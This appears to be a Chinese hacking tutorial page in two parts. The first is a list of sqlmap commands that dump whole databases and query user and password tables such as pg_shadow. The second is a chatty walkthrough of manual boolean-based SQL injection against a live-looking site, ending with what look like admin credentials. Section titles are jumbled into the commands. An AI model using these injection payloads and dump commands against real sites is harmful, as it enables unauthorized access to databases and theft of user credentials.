python -u “/sqlmap/mssql/?id=1” --dump -t users -d master -c surname -v 0指定列的范围从2-4

python -u “/sqlmap/mysql/?id=1” --dump -t users -d test --start 2 --stop 4 -v 0导出所有数据库,所有表的内容

python -u “/sqlmap/mysql/?id=1” --dump-all -v 0只列出用户自己新建的数据库和表的内容

python -u “/sqlmap/mssql/?id=1” --dump-all --exclude-sysdbs -v 0sql query

python -u “/sqlmap/pgsql/?id=1” --sql-query “select usename from pg_user” -v 0

python -u “/sqlmap/mysql/?id=1” --sql-query “select host, password from limit 1, 3” -v 1select usename, passwd from pg_shadow order by usename

保存和恢复会话

python -u “/sqlmap/pgsql/?id=1” -b -v 1 -s “”保存选项到inc配置文件

python -u “/sqlmap/pgsql/?id=1” -b -v 1 --save

跨站脚本的原理篇六

现在注入工具横行,自动化的程度已经...不能再自动了.

很多人会熟练的使用啊d,明小子之类的自动注入工具.以为自己就会了...

注入的原理呢.什么是注入.为什么会造成注入.过程...等.

你知道吗?你有没有试过真正的手工注入?没吧.

现在就利用我写的手工注入工具来讲解一下总体手工注入过程.

先找个有注入漏洞的站.很简单满大街都是.

/a3/?id=75

manage_user

username  admin

password  bfpms

id  35

已经找好了.这是一个标准欠黑型网站.安全度就不用说了.

/a3/?id=75

有注入漏洞的地址.检查一下.

基本确定可能有漏洞.继续.

/a3/?id=75 and exists (select * from manage_user)

查询manage_user这个表名是否存在.

不好意思.这工具老出错...录制这个工具不怎么好用.有好用的有空介绍个啊....

好了继续.

manage_user 存在...页面返回正常...

名字改了下`不存在就返回错误的页面`

这里是给你填写提示语句用的`不用的话清空就行了.

继续.

返回正常.说明存在.继续.等等`听电话`

不好意思.

不是1位哦`回显错误.呵呵`5位的`回显正常`

这样我们就知道 他很多东西了`表..项..还有内容长度.

帐号的第一位的第一个字母不是1所以出错.

呵呵`帐号的第一位的第一个字母是a 正确...所以回显正常.

帐号是什么我想都不用怎么想了吧`5位数的admin

确实是的哦....哈哈.

/a3/?id=75 and 1=(select count(*) from [manage_user] where left(username,5)=admin)

为了给大家学习.我把例句都提取出来了.和程序过程是一样的,大家可以研究下.

其他的密码等也是这种过程. 大家明白了吗?要难不是很难`只是要有耐心.如果简单的话就不会出现

全自动的注入工具了.

希望大家在使用我的工具的同时也能学到点东西.

显示全部

标签

相关新闻

反馈留言